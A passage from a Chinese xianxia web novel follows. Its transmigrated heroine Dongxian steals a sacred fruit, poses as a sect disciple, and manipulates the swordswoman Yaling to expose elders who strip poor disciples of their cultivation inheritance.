《今天蛊到你了吗》
1. 第 1 章
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朝天宫宫主为庆境界突破之喜而宴请四方，不曾想有魔修生事，欲图对宫中至宝下手。
纷争解除后，死伤无数，宫中至宝仍被盗走，而贼人不知所踪。
守卫们将死尸接连运到乱葬岗，准备为他们埋葬。
等到乱葬岗悄无声息，一堆腐败的死尸当中，有一女子睁开眼，转身朝着乱葬岗深处而去，以免被再次运尸回来的守卫当作死尸埋葬。
东闲吐出舌下藏着的异物，掌心如一粒丹药般大小的物什，正是朝天宫上下寻找的朝天圣果，看着平平无奇，任谁也不会将其与稀世珍宝朝天圣果联系。
朝天圣树，神赐之物，为朝天宫独有，五百年才能结下一颗果实，一出世便是人人争抢的宝物。
服下朝天圣果之人，可以改变无法修炼的体质，同样体质进一步强化，可谓能历千锤百炼。
更令人垂涎的是，朝天圣果还能在一定程度上减少劫雷的强度，在这个世界，渡劫如赌命，境界越高，渡劫失败的概率随之提升。
劫雷之下，渡过了便是喜事一件，没渡过，轻则修为倒退魂识受伤重则身陨。
东闲想要得到朝天圣果的目的，是为了改变自己不能修炼的体质。
东闲不属于这个世界，她原本处于一个时代和平科技发展的蓝星。
她应当是魂穿的，睁开眼时便发现自己的现代装变成古装，原主暂居在山洞之中，整座山没有第二人的痕迹，不存在有人替她换了衣服的可能。
东闲不知道自己为什么会穿越，魂穿前她正准备熄灯歇息，按下开关键的那刻她就穿了。
再次睁开眼就是异世之人。
不知为何，处在这个世界，比她原来的世界更让她有归属感，东闲姑且把这种感觉称作喜欢。
她没有继承原主记忆，继续待在深山对她也无利，于是穿来的第一日，东闲便出山了。
这个世界灵气充裕，拥有灵体之人，可以吸纳灵气成为修士而正式开始修炼。
修炼的境界共分为淬灵、凝元、炼心、意动、大乘、化虚六大类，每个境界又分前、中、后三个阶段，其中炼心境后期是能人的门槛，能达到化虚期的寥寥无几，是此间顶级的高手。
据说经历六种境界就能飞升成仙，然而修仙界存在千百年以来，至今未有人让此传闻成真。
东闲魂穿的这具身子没有灵体，是彻彻底底的凡人。
她对这个能够修炼的世界充满兴趣，不甘成为一个庸庸碌碌的凡人，所以打上朝天圣果的注意，意图拿到朝天圣果得来灵体进行修炼。
为此，她便设计进入朝天宫，利用骗来的敛息咒，在魔修大乱朝天宫琼池时，趁着两方争斗的间隙，寻找机会夺取朝天圣果。
没想到圣果会主动落入她的掌心。
琼池一片刀光剑影，盗贼又有敛息咒在身，无人看清圣果被谁盗走。
东闲怀着一颗咚咚跳的心，制造纷乱中被魔修杀死的假象，从而得已逃离朝天宫，将朝天圣果带出来。
朝天宫只当圣果被先一步逃离的魔修盗走，无意间放了东闲一条生路。
东闲吞下朝天圣果，满眼里是兴奋。
朝天圣果在她体内发生的作用是立竿见影的，她能感觉到一阵温和的力量流经她的奇经八脉，全身闭塞的地方都顺畅了。
甚至，根本不知怎么引气入体的她，更是无师自通，贪婪地吸收着附近的灵气。
不能在这里继续吸收灵气，他们马上就要回来，势必会发现是她盗走了朝天圣果，她必须尽快离开。
东闲强行停止对附近灵气的吸收，但她并不会如何停止，胸腔气血翻涌，自喉内喷出。
对这个世界的修炼方法一无所知，真是罪过。
突然，她蓦然心口绞痛，像是一颗心强行被掰开给塞入了什么东西。
而后她就能感觉到朝天圣果融进她的心脉之中。
朝天圣果怎么会与她的心融为一体，不对，东闲细细体会，发现是朝天圣果融合了她的心。
东闲身为凡人不能消化朝天圣果，体内的朝天圣果随时可以被人剥夺，而圣果竟与她的心融合为一体，若有朝一日他人要夺圣果，她的性命也就同样被夺去。
朝天圣果是神赐之物，由朝天宫保管，如今她盗走朝天圣果，不亚于与朝天宫作对。
朝天宫宫主方渡过化虚境前期，而天下能进入化虚境的修士屈指可数，来到异世就为自己树立如此强大的敌人，可谓是地狱级难度。
这一刻，东闲想要变强的心愈加强烈。
她低头见一身长衫尽是血污，身上还发出难闻的异味，嫌弃地低语：“有点糟糕。”
似是觉得这一身的狼狈要比她现在的处境还要麻烦。
乱葬岗不能再停留，可她就算奋力逃跑也躲不过那群修士的追踪。
东闲是普通人，任何一个修士捏死她如踩死蝼蚁般容易，但她不想轻易地死去。
东闲琢磨着如何逃跑，而尸堆中有一苍老沙哑的嗓音响起打断她的思绪。
“小丫头，你到底是一介凡人之身，跑得再快都会被他们抓住，我这有法子助你逃脱。”
老者出口自信，他知道东闲为什么苦恼，坚信东闲一定会答应，因为那是她唯一的选择。
东闲瞥向他，饶有兴趣道：“你这副同废人差不多的躯体，还能顾得上我？”
东闲知道他的存在，在她的计划中本就有假死被扔进乱葬岗的一环，所以她知道乱葬岗还躺着一个活人，这人为了苟活把自己伪装成气息尽断的样子，以混人眼目，没想到真让他给混过去，但是他受伤太重无法离开，几日来，一直被迫留在乱葬岗。
老者意外于她出口不逊，但也不恼，继续道：“我只是重伤，又不是没有宝贝，我同样有求于你，何况信我是你最后的一条路。”
“老家伙你可不是个好东西，别当我是什么都不知道的蠢货。”
她出口并不给这位年迈的老人留情，而面上的笑容温和得很，仿佛讥刺出言的人不是她。
老者也看出她并非是能随意糊弄的存在，到底想要离开这个鬼地方，于是带着些急切地道：“那你说你要什么？”
东闲道：“教我引气入体，我要修炼。”
这就是东闲的目的，她不但要躲过那群修士的追击还要学会如何修炼，她知道老者是个修士，同样确信老者不会拒绝她。
老者毫不犹豫地应下：“我答应你，现在你可以带我一起走吧。”
东闲态度强硬：“不，你先教我引气入体。”
老者不悦拧眉，“引气入体很耗时间，你就在这会被他们找到的。”
东闲自信道：“最多一炷香，如若你真有办法带我离开，这一炷香根本不必在意。”
东闲态度坚决，老者不得不应下，好在她悟性高，只需一遍便能明白。
“修行讲究营魄合一，神形不偏离是根本……”
集中精神、排除杂念，澡雪精神以修炼，便能达到一种宁静柔顺的状态。
东闲也觉得很神奇，在老者的教导下，她的大脑马上将其话自动解释且进一步补充，运转起来是多么的熟练，仿若她早就会引气入体。
灵气在奇经八脉中流转，疏通体内郁气，这种感觉奇妙而舒畅，若非场合不行，东闲恨不得修个七天七夜。
一旁的老者惊讶于她一点就通的天赋，可惜这个好苗子居然荒废了十几年的好天赋。
一炷香的时间，并不长，很快东闲睁开双眼，感到神清气爽极了。
她满意地道：“修行果然是件妙事。”
果真如她所言，一炷香的时间就让她成为一个真正的修士。
老者暗道朝天圣果可真是一个宝贝，引气入体是普通人转为修士的一大难关，就是天赋异禀之人，也得耗上大半日的功夫。
老者愈发眼馋她身上的朝天圣果，待他找个时机必将圣果先一步夺走。
他按下心思，扔出了个玉佩落到东闲手上。
“这玉佩只要滴血就能认主，其中蕴含的强大力量可以任由你驱使，只要你向它祈愿。”
东闲攥着玉佩，心中想道，这种好东西，他竟然不认主，必定是其中的隐患大于好处。
“它会对我有什么伤害？”
老者：“它的力量是有限制的，你依赖它的力量一分，就要百倍力量去喂养它，不然你的魂识会有损伤，魂识是修士修炼最重要的一点，你必须不断地变强，才能不会成为它的养分。”
东闲眼眸泛起寒光点点，只怕这老家伙没有说出实情，比方这里面的力量到底是何来源。
不过东闲没有选择再问，玉佩是她最后的生路，她没有选择。
东闲咬破指尖让鲜血沁进玉佩中，其利索干脆的态度令老者意外之中又觉满意。
很快玉佩发散莹润光泽，印入掌心，化为一颗不起眼的红痣，这是认主成功的表现。
老者方传完敛息藏形的功法，朝天宫的人就来了，东闲便附身在破布上。
朝天宫的人在乱葬岗几番搜寻都没能找到东闲，疑心她是跑了，准备打道离开。
“她不过是一个凡人，要跑也跑不了多远，现在追上去定然来得及。”
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能夺得比试魁首已经引人注意。就算刚刚没有鸦昤出手，长老们动根手指头，他便能马上死去，根本做不到杀了慕婉思，我这样做只会暴露我们。”
他到底有底气在，说出来的话像是都出自真心的，怀玉教习见他十分硬气，说得信誓旦旦，更是知道事情利弊，开始也生起怀疑，莫非常怀清真与此事无关？
可常怀清有前科在，怀玉教习没法轻易相信他，从一开始二人就不和，常怀清还敢背着他行动，又有他不为知的本事，他们二人间的信任早已岌岌可危。
而常怀清比谁都纳闷此事，他明明给的是一阶固灵丹，怎么就让萧逐风出手伤人了。
“怀玉教习，已经查出来是谁给的丹药吗？”
怀玉教习道：“萧怀风曾被坑骗高价买下提升修为的丹药，查出来却是普通的一阶固灵丹。在几日后，他不放心又陆续买了其他丹药，这几种丹药一并吞下，便导致急火攻心走火入魔的结果。”
萧逐风急于求成，一心想成为内门弟子，不惜用上歪门邪术，他认为一个丹药不保险而选择服用多个丹药。
因为对丹道上浅薄无知，几种丹药混合服下，其中多种属性相冲，造就体内灵力横冲直撞，但是因为有常怀清给的固灵丹发生作用，压制体内的不平衡。
萧逐风也发现固灵丹的作用，大量服用以压制体内混乱的灵力，强行维持平衡的状态，但是治标不治本，丹药以成效快效果佳而著称，负面影响是，无论多厉害的丹药都带着丹毒，等到正式比试，几场回合下来，他再也压制不住体内混乱的灵力，而一时走火入魔伤人。
常怀清回忆着萧逐风紧张猴急的模样心想定是他不止在自己那买了一阶固灵丹，发生这种情况倒是意料之外，常怀清可惜地想到，如若萧逐风真能杀了“慕婉思”就好了，倒也省了他们的气力。
得知此事的确与常怀清无关后，怀玉教习微微松了对常怀清的压制，让常怀清能够喘气。
常怀清仍不敢喘气，怀玉教习就算不会杀他也有百种方法折磨他，这是来自境界的压制带来的压迫感。
他小心翼翼地道：“怀玉教习，我们必须尽早解决慕婉思，安泛泛都亲口说慕婉思有恢复记忆的迹象，再这样下去，瞒不住的。”
怀玉教习紧着眉头道：“她是朝阳的女儿，我不能就这样杀了她，她既然能够记起来再让她忘记便是，以后你别再打慕婉思的主意。”
常怀清很想冷笑一声，好一个舍不得，为自己找了个冠冕堂皇的借口，还真以为自己是舍不得了。
分明是懦弱不敢为，既怯懦魔修的力量，即便不愿也不敢反抗，又怯懦自己伪善的面目被玄清宗发现，落得个人人打杀的下场。
他不想杀慕婉思，就是因为他过分地胆小，可正是这样胆小的人，提出让他疼爱的师侄变为傀儡从而帮助他们接近鸦昤的主意。
分明已是卑劣不堪的人，还护着那点遮羞布作甚。
常怀清可与怀玉教习不一样，他是愿意与魔修合作的，只要能得到八成的星宿传承，做魔修又如何，他已经受够十几年还在淬灵境的日子了。
“慕婉思”必须死，他会让怀玉教习狠心杀了“慕婉思”，人被逼到绝路，什么事都干得出来。
20.第 20 章
“好啦，你根本没有事，就是受了一点惊吓。”
在替东闲检查完身体状况后，安泛泛松了口气，得此结论。
东闲笑盈盈回道：“原来师姐就是我的良药，我见着师姐什么都不疼什么都好了。”
安泛泛瞪了她一眼，“就你油嘴滑舌会说话。”
安泛泛又气愤地道：“那个萧逐风一看就是用了歪门邪道而走火入魔，不勤勤恳恳修道整日琢磨有的没的，他祸害自己就算了还祸害别人。”
东闲安抚道：“没事的师姐，众长老们都在，动根手指头就能将他收拾得服服帖帖，就算没有鸦昤前辈相助，我也不会出事。
她双目流转，又道：“不过师姐，今日的外门大比不论是长老还是教习能来的都来了，为何清微仙尊没来，仙尊自回来后似乎就一直留在长白峰内，未曾离开半步。”
安泛泛想了想，道：“清微仙尊一向随心所欲，对宗门事务不闻不问，除却十分重大的场合她根本不会出现在众人的视线中，自十年前起，仙尊的踪迹更加飘忽难以捕捉，她如今回到玄清宗，说起来还真是有些不可思议。”
安泛泛复又朝东闲靠了过去，附耳与东闲：“仙尊更像是宗门的招财树，有她在，总是有源源不断的修士慕名求拜玄清宗，所以我觉得仙尊其实在不在也没什么关系，只要清微仙尊这四个字与玄清宗挂钩就行。”
东闲噗嗤一笑，被她招财树的说法给逗乐了。
清微仙尊在宗门的地位确实如招财树般，此世间能被称之为仙尊的修士少之又少，有多少弟子正是钦慕清微仙尊的大名拜入玄清宗，结果清微仙尊十年都不出现几次，出现了也未必露面，有内门弟子待了五年，都可能只看到一片衣角，而这已经很幸运了。
东闲好奇地问道：“清微仙尊好神秘啊，她一般会去哪呢，为何她总是不待在宗门？清微仙尊好像还没收徒吧，她不打算收徒吗？”
见她对清微仙尊很感兴趣，安泛泛只当她同其他崇拜清微仙尊的弟子一般，便把自己所知的都告诉她。
“据说清微仙尊在外有个徒弟。”
东闲捂嘴很是惊讶地道：“清微仙尊居然已经收徒了？”
安泛泛颔首，道：“我不敢打包票，但可以保证有六成的把握是真的。”
意外地，安泛泛知道的要比东闲向别的弟子打听得多，那些弟子一问三不知，更别提知道什么传闻了。
东闲双眼化作几乎化作实质的星星眼，一脸崇拜地看向安泛泛。
“师姐知道得好多呀。”
安泛泛很是受用，语调都上挑。
“那是自然，我们可是有情报队的。”
东闲问道：“情报队？那是什么？”
安泛泛却道：“那是秘密，你当然不知道了。”
东闲还想继续问下去，外面传来三声叩响，有几人探出脑袋，是安泛泛的小姐妹们来了。
小姐妹们叽叽喳喳地围成一团，身上带来的香气充盈着整间屋子，她们把萧逐风发狂的真相告诉两人，关切几句东闲的情况，便告辞离开。
姐妹们离去的身形还未淡却，安泛泛便道：“怎么次次倒霉事都轮到你头上，你是不是遭天谴了。”
安泛泛回想那一刻的惊魂，仍是心有余悸，她站在东闲身侧也算是被迫直面凶险，其实当时的自己也吓懵了，但见东闲反应比她强烈，自己就不免硬气许多。
她有些意外，东闲胆子这么小，却是能为她挡剑。
这般一想，目光就忍不住投向东闲，岂料东闲正双手托腮两眼一眨不眨地盯着自己，与自己目光相汇时立刻扬起笑脸，连一对眸子都亮晶晶了。
真是比那只粘人的狗还要懂得讨人欢喜。
东闲期待地开口：“听说在最近的东昌国内有个叫瑞州的地方，而瑞州内有一座很灵验的寺庙叫净觉寺，若是替人求取平安必能保佑此人一生顺遂，我这么可怜，师姐会为我去求平安吗？”
安泛泛先是认真听着，字字记在心里，当听到东闲问她会不会为自己求平安时，安泛泛立刻跳起来。
“你少自作多情，我什么时候答应要替你求平安，你我都是修士，应知命由自己定夺，怎么还迷信起来，我看你好得也差不多，我走了，勿送。”
少女羞红的脸胜过一切，她捂住脸颊，意识到发烫到过分，转身就走，不给东闲开口的时间，卷起一阵风，驱散了一屋的香气。
而在安泛泛离开后，对面留意东闲这边情况的鸦昤后一脚便踩进来。
她一来，这间屋的香气更是浅淡难以捕捉，温度都下降不少。
鸦昤紧盯着她，一手搭在腰间的剑鞘上。
“你怎么知道萧逐风会失控伤人？”
上来便是极具质询意味的话语，一张脸冷若冰霜，倒似在审犯人似的。
鸦昤之所以能在所有人没能反应前就能生擒萧逐风阻止他害人，正是因为东闲此前留下的暗示。
她在去东闲的屋子时，发现了东闲留下的一张字条，得知今日会有人动手伤人，不过字条上并没有说明受害者会是东闲。
这已经是东闲第三次出事，她怎么总是在受伤，这已经不正常了，是有人想要杀她。
那日灵田的事，鸦昤在心里想了许久总觉得透着古怪，怀玉教习无事来药谷做什么，当时的景象真的都是变异的迷幻菇造成的吗。
结合今日的事全部联系起来，那便是东闲想要传达给她的讯息。
玄清宗内有人不想要慕婉思活着。
“犯人”东闲并没有被审问的自觉，挂着张笑脸道：“你高看我了，我还没有未卜先知的能力，我只是知道有人想对我动手。”
鸦昤看着她，目光敏锐得像是要洞穿她整个人，要将她所有的伪装都赤裸裸地剥开。
“慕婉思与你不一样。”
东闲指尖不可自抑地颤了下。
东闲知道自己身份会有被鸦昤亲口揭穿的那天，因为从一开始她就要拉鸦昤下水，而她同样有办法让鸦昤为她保守秘密。
料想过鸦昤会找她质问对慕婉思做了什么，想象的情景与现在大差不离。
原本是不怕从鸦昤口中听到自己
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的名字，这会鸦昤字字清晰地说她不是慕婉思，她莫名生起异样的情绪。
这种不知是何由来的情绪，最让东闲烦闷了，她觉得自己最近的情绪很不正常，总是容易被牵动着。
她短暂的呆怔，被鸦昤认定为不打自招，鸦昤愈加笃定地道：“我不知道你用了什么办法彻底变成慕婉思，或者说你还是慕婉思，但是现在的你跟以前完全不一样。”
东闲姿态轻松，语气也带上散漫的意味，看起来并不为鸦昤所惧。
“你不过来玄清宗两个月，就已经如此熟悉我吗？你怎么比那些人还要聪明。”
鸦昤蹩起眉头，不喜欢她这种带着淡淡嘲弄之味的话语。
“一个人哪怕是失忆也绝不可能性情大变。”
东闲赞同地颔首：“你说得没错。”
鸦昤再道：“储物袋要主人的神识探入才能被打开，而你竟然打不开你的储物袋。”
“嗯，是这样的。”
东闲淡淡地回复着，甚至有闲心倒茶。
汩汩流淌的茶液像是在拨动着鸦昤的那根名为理智的筋，鸦昤被她漫不经心的态度勾起了火气，极黑的瞳仁簇起点点星火。
“你到底是谁，为什么占用慕婉思的身份回到玄清宗，真正的慕婉思去了哪，你处心积虑地与安泛泛相处，是想对安泛泛做什么。”
东闲顿时觉得很委屈，道：“那你觉得我一个堪堪引气入体的人能做到哪一步。”
鸦昤只是更加冷酷道：“有的人没有修为都能引起轰动，引气入体够你做很多事，你若不肯老实交代，我现在就可以向玄清宗揭露你的真面目。”
东闲被她的话逗笑了，不遮掩地漾开嘴角笑意。
“你去我不拦，只是你得想想，我是如何让大家都相信我是慕婉思，教习与长老，他们不是摆设，还有清微仙尊。”
鸦昤一时失言，后知后觉地反应到，自己前来质询的行为太过莽撞。
东闲扫了眼对面剑鞘上缓缓松开的手，将案上多倒的一杯茶递过去。
“站着说话不累吗，喝口茶吧。”
鸦昤狐疑看着她，到底没有拒绝东闲的茶，顺从地入座。
在她喝茶之际，东闲以心声传话与鸦昤，告诉她一个真相。
鸦昤由于专注东闲传来的真相，故而半天都维持着喝茶的动作，等听到某个不可思议的一点，鸦昤手一抖，茶盏内的茶尽数倒进喉中，她被茶呛得红涨了脸，眉头也显然地因惊异而翘起。
她缓过来，仔细地端详着东闲的面容，欲从其面容上看出一丝端倪。
怀玉教习与魔修勾结，真正的慕婉思正因发现怀玉教习的秘密而遇害。
这叫人太难以相信了。
怀玉教习那般仁慈宽厚的人怎会做出这种事来，玄清宗的弟子们总爱弄出各种排行榜，据鸦昤所知，比其中有关最受欢迎的长者的排行榜，怀玉教习稳居第一。
鸦昤并不相信东闲的话，毕竟也正是东闲承认自己不是慕婉思。
借用慕婉思身份混进玄清宗的东闲，已经非常可疑。
21.第 21 章
东闲道：“你想错了，仙尊看穿我的身份，还选择让我留下，是信任我。你觉得我别有目的，不妨再听听我为何而来。
“你若留心观察，便能发现今日来测星宿传承的外门弟子，没有星宿传承的基本上被身份低微的弟子占据。”
鸦昤不禁回忆，今日的天赋测试中，身份卑微的外门弟子，鲜有身负星宿传承之人。
但那仍不足以证明东闲的话是真的。
鸦昤立即给出反驳：“那些人基本上是暴乱中存活下来的人，在被玄清宗收容之前，大多被魔修夺去星宿传承，你的言论漏洞百出。”
东闲没有急着解释，而是继续说下去：“怀玉教习有个帮手，是常怀清，他们以授道的方式把一群不会惹事的弟子们聚集在一起，进而剥夺他们的星宿传承，如此达到名利双收的目的，你们自然不会发现其中的异常。”
鸦昤更不敢相信东闲的话了，被她的语出惊人而震住，东闲先是污蔑怀玉教习，复又牵扯到常怀清，这些顶好的人竟都成了她口中的恶人。
鸦昤倏地站起来，“空口无据。”
东闲：“我的确没有证据，但是你为何不想一想，常怀清进入内门以来，已经近十年了吧，他为何去年才想到要为与他同样出身的外门弟子授道。
“我记得，常怀清只有二成星宿传承，修道十年却还是淬灵境后期，换作其他弟子都该有凝元境，他勤勤恳恳修炼却得了这样的结果，不会觉得不甘心？
“这世上有多少人因为没有星宿传承或星宿传承继承太低而怨天尤人，为何其中没有常怀清，更何况有关外门的教学，教习们该传授的都传授了，依常怀清十年都是淬灵境后期的实力，他能传出什么比教习们更厉害的。”
鸦昤被她说得愣住，很想反驳，但是东闲的话确有其道理，最后只得干巴巴地回道：“你不要把任何人都想得那样坏。”
东闲又笑了，她看起来心情好极，鸦昤竟瞧出这张脸上几分真情实意来。
“你猜猜，为何只有你能看穿我的身份，我全心全意地信任你，因为我知道你是个极正直的好人，你不会不帮我的，无论是因为我，还是为了那群被剥夺星宿传承的弟子。”
“你不信我，不妨现在动手给个了断。可你在动手前还是再想一想，清微仙尊对我的态度。”
听到东闲再提清微仙尊，鸦昤冷静下来。
难道东闲所为有仙尊示意？仙尊没有对东闲动手，她应该不会是恶人。
在短暂的思量后，鸦昤同样以心音传话与东闲。
“为什么告诉我？”
东闲传话道：“我信你，你该明白我没有理由去欺骗你，我愿意告诉你实话，是因为我相信你不会放任不平之事不管。
“我同样希望我能有个同伴，以我当前的力量，恐怕哪一天就会死于精心编造的意外，而你的存在会让我的努力没有白费。”
鸦昤：“最后一个问题，你到底是谁？”
东闲：“你最讨厌谁，我就尽量不要成为这种人。”
鸦昤没有再传心音与她，明白东闲已经告诉自己全部她愿意交代的部分，而自己要做的，是去验证东闲言语的真实性。
本欲就此离开的她又顿住，偏脸睨来锐利的眸，扫来一记刀子。
“口腹蜜剑的骗子，你最好不是。”
东闲愣了一下，须臾后笑出了声。
她还真以为鸦昤突然聪明起来，在那一刻发现了自己的身份。
不过，不是口腹蜜剑的骗子，她还真做不到。
就在今日，她又骗了鸦昤，萧逐风失控伤人与怀玉教习和常怀清二人无关，这些日子怀玉教习畏手畏脚，忌惮着清微仙尊的存在，根本不敢向她下死手，东闲只能亲自动手，伪造她第三次被暗杀的假象。
从而引得鸦昤上钩。
***
鸦昤对东闲还是存着一份怀疑，她需得亲自了解真相。
依据东闲所言，常怀清只会为家境与他同样贫寒困苦的授道，而这些弟子正是因为过去没接触过道，更没机会测试什么星宿传承，故而容易被常怀清剥夺星宿传承。
如今正值大比，宗门同时招收新的一批外门弟子，常怀清已经趁时放言要给贫寒子弟授道。
单凭点不能证明什么，鸦昤还需要知道更多。
鸦昤暗中打探常怀清的消息，这人老实勤恳得过分，在宗门内口碑极好，并不像是东闲口中会嫉害他人的样子。
为此，鸦昤用了易容术，伪作外门弟子，想要从外门弟子口中更直观地了解常怀清。
内门弟子与外门弟子分居两方，除了上学堂才会有交集。她便趁着下学堂的时候，混入其中，寻了个家境贫寒已经跟随常怀清学习的弟子，打听一二。
鸦昤知道怎样更有效地套话，只要给自己安个与他们同样的身份，三言两语便能取得对方信任。
听出鸦昤的犹疑后，弟子尤为肯定地道：“常师兄他自己就是最大的证明，他的经验定然有用，何况常师兄愿意无偿教导我们已经很不错了，像常师兄这般无私的人，天底下不会再有第二个。”
鸦昤道：“我们不是有教习吗，为什么还要跟着常师兄学，他教的与教习不一样吗？”
弟子则鬼鬼祟祟地叫她附耳过来，生怕被别人听了去。
“常师兄自然是教一些与那些教习不一样的，他会帮我们改善体质，让我们比以往更顺利地修道。
“常师兄让我们不要跟外人说，我看你也有去找常师兄的想法才告诉你的，你可别再传出去。”
“这不是……”鸦昤对上对方的目光，把“作弊”两个字咽回去，道：“常师兄真有这么厉害吗？”
弟子道：“不论有没有用，只要知道了就不会舍得放弃这个机会，你听了你不心动吗，若是因此而失去进入内门弟子的机会，那才可惜。”
鸦昤道：“那他怎么帮你们改善体质，会不会有隐患？”
弟子道：“具体的整个过程叫作洗筋伐骨，得受非人的折磨，若能成功挺过来，体质就能得到强化，到时再有常师兄的丹药做辅助，我们会恢复得很快，日后在修道上更是一骑绝尘。”
鸦昤只知道，被剥夺星宿传承会感到极其痛苦，所谓的洗筋伐骨会不会是剥夺星宿传承的另一种说辞。
鸦昤再道：“那你们觉得有效果吗，真的会比平常修炼更快吗？“
弟子摇了摇头，道：“常师兄说过，这个效果是很漫长的，如若一年之后仍没有效果，那是我
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们天资愚钝，与道无缘，我们就该放弃道了。”
鸦昤几近失语，这种极具迷惑性的话术他们居然也敢相信。
可当看见对方眼底的一片信赖，鸦昤反而把想要打破对方美梦的念头打消了。
常怀清不可能真的能帮他们作弊，宗门大比有众长老们坐镇，他不过一个淬灵境后期的弟子，哪有这么大能耐，多半是诓骗他们。
常怀清为什么要诓骗他们，难道是为了方便动手剥夺星宿传承？
彼时东闲的话已经逼至七分的可信度。
如今鸦昤已经明了，常怀清拿捏的正是这群寒门弟子们对修道的渴望的心理。
除了科举考取功名，修道也是一群寒门弟子的出路，他们视修道为他们生活最重要的大事。成为内门弟子不但能解决温饱问题，还能有机会修仙，甚至一改以前人人可欺的地位，在这个世界，人们对修士都抱着极大的敬畏之意。
他们视修仙为他们人生最后的希望，所以愚昧地相信一切，源自于他们的欲望，而欲望，由过去经历的种种不平压抑成的结果。
常怀清又是擅长伪装之人，对方极好的口碑以及同样是出身寒门的身份拉进双方距离，给了他们最大的信任。
这群寒门弟子便如落水的旱鸭子，死命抓住河面上唯一的浮木，从而达成主动献上杀死自己的刀的后果。
天是燥热的，鸦昤则生出一身冷汗，她既怨这群寒门弟子的贪心，却因为自己不曾经历过他们的困苦而使得这份怨显得过于高贵可笑，又恨常怀清利用他们的希望把他们逼上绝路。
她再度问道：“常师兄已经给每个人都洗筋伐骨了吗，我若想寻他，常师兄还愿意吗？”
弟子道：“自然是愿意的，不过你得去找常师兄登记，每个人只能洗筋伐骨一次，不可多来。”
鸦昤颔首表示知道，临走时撞见另一个外门弟子，对方淡淡地瞥了她一眼便自然转走视线，鸦昤也没在意，就这样离去。
便未曾注意，对方那双眼睛浑浊得过分，透露着世事沉淀的沧桑，绝不是一个年轻人该有的眼睛。
被鸦昤搭话的弟子来到常怀清面前，经常怀清手中荡魂铃一响，他瞬时恢复清醒，目色澄澈，茫然地看向周围。
“哎，常师兄……”
常怀清神态自若，道：“你不是要回去修炼吗，怎么还愣在这。”
弟子想不起来自己要做什么，更是记不起先前发生什么，只是觉得常怀清不会说谎，所以便真以为自己是要去修炼，向常怀清告别后匆匆离开。
见他走去，常怀清冷哼一声。
鸦昤不知道的是，她的一举一动皆在被常怀清的监控之下，他们的目标不仅仅是外门弟子的星宿传承，还有她，而她是他们真正的目标。
而她一无所知地，傻傻地被东闲牵引着，从而将自己置于更危险的境地。
“鸦昤是怎么发现的，难道是慕婉思？看来我们都被慕婉思给骗了，她们二人必须死。”
杀死她们单凭他的力量不够，必须有怀玉教习的帮忙，怀玉教习已经对他生有戒备，但是在共同的利益前，常怀清相信怀玉教习会与他站在一起的。
怀玉教习，我们都被逼到这种程度，你总该要出手吧。
22.第 22 章
鸦昤始终对东闲怀有芥蒂，哪怕对方似乎手无缚鸡之力。
不知为何，她总觉得东闲是个很危险的人，是那种自己如何死在她的手里都不自知的危险，尤其是那双似有柔情无限的眸被你整个人填满，好似你就成了她能够剖心掏肺的唯一，这种时候总是会叫人失去理智的。
第一个给鸦昤这种感觉的人，便骗了她的符咒盗取朝天圣果逃跑，如同人间蒸发般，再也搜寻不到一点痕迹。
以至于她再次面对东闲时，不自觉地握紧手中剑，强行绷紧神经，以免落入她甜蜜的陷阱。
这夜月色溶溶，由天边倾洒的月色如纱，罩得再冰冷无情的事物都柔和许多，何况一个笑面如花毫无威胁的女子。
奈何黑衣白发的女人，一张脸若万年不化的寒冰，方圆十里都要受寒气摧残，希图以冷若冰霜助己方气焰。
这是假的，我不能被她骗了。
鸦昤在心中时刻警醒自己。
“你怕我？”
见她面上冷然，目色却有躲闪之意，东闲一针见血地指出鸦昤对她的态度，不是不信任，而是源自于一种莫名的忌惮。
东闲说这话时，还是笑着，她要么是会笑的好手，要么是对镜练习过成百上千来遍的笑，知道怎样的笑容最能让他人放下戒备，那双能够吸人的眼睛更是了不得的杀器，真叫人狠不下心。
鸦昤听她一说自己怕她，顿时不服气地看过去，与那双装满她的笑眸对上。
她不知道自己完了，又掉进那双眼的圈套中，无所察觉地在那刻怔愣住，她开始怀疑自己是不是对东闲抱有太大的敌意，兴许东闲就如她自己所言真心想要揭露怀玉教习的真面目，以还一个公道。
东闲伸手准备立誓，“我若是欺你、伤你、背叛你，便叫……”
“不必整这些虚言，这方天地我已经布下禁制，旁人无法听见我们的说话声，你与我可以尽情交谈。”
听她以立誓来自证诚心，鸦昤兴致缺缺地打断她，她比谁都清楚，一个没良心的骗子是根本不怕遭天谴的。
鸦昤继而道：“你说得对，他们的确有问题，应是以洗筋伐骨的名义剥夺外门弟子的星宿传承。”
东闲没想到鸦昤还真能发现端倪，她告诉鸦昤只是让鸦昤去调查去怀疑，暗地里注视鸦昤动作的怀玉教习与常怀清二人，一旦发现鸦昤对他们生起疑心，必然会加快动作杀了鸦昤，毕竟鸦昤才是他们真正的目标。
这么做是为了逼迫清微仙尊出手。
清微仙尊的态度实在不明确，东闲分不清清微仙尊会不会帮她，这使得东闲感到不安，她须得让清微仙尊明确态度，而突破点就在鸦昤身上。
鸦昤是不夜天最有天赋的炼器师，是精英弟子，这么一个重要的人死在玄清宗，会为玄清宗带来很大麻烦，关注东闲的清微仙尊一定会注意到鸦昤的异常，她就是再不管常事，也不会真放任玄清宗招来各种麻烦。
一荣俱荣，一损俱损，清微仙尊只要身在玄清宗的一日出现如此纰漏，这衬得她仙尊的名号该多令人发笑。
如若有了清微仙尊这一强力的存在，东闲让两个威胁消失的可能就会变成事实。
如今，事情朝着她希望的方向顺利发展，鸦昤露出马脚被他们发现，他们有了危机定然会想办法向鸦昤动手。
东闲不想让他们多活几日，那就得给他们一个尽早动手的机会，从而使他们的罪行暴露在清微仙尊眼内。
东闲道：“据我了解，玄清宗每年都会收一批外门弟子，如今正值内门大比，这几日常怀清已经着手了新一批外门弟子，你既然查到了，你就该知道已经有外门弟子遇害。
“常怀清口碑不错，又有内门弟子的身份光环加持，那些外门弟子就算看不起常怀清，也会因人云亦云的心理而跟随他完成所谓的洗筋伐骨。
“想要真正阻止这群外门弟子，唯有揭穿他们的真面目。”
东闲定定地看着鸦昤，道：“我找上了你，是因为在整个玄清宗内，只有你让我信任，让我愿意交代所有一切。”
鸦昤迟疑地问道：“你……只告诉了我？”
本该觉得有一丝怪异，但在对方充满信赖而又透着坚定的眼眸中，这点怪异消弭不见，鸦昤甚至觉得晕乎乎了。
东闲颔首，道：“我只告诉了你，只有你会愿意为那群寒门弟子挺身而出，只有你不会惧怕魔修。”
鸦昤不禁想到，东闲的意思难道是与她交好的安泛泛也不知此事吗，她居然单单告诉我一人吗，在她心里，原来我是这样伟大的人吗。
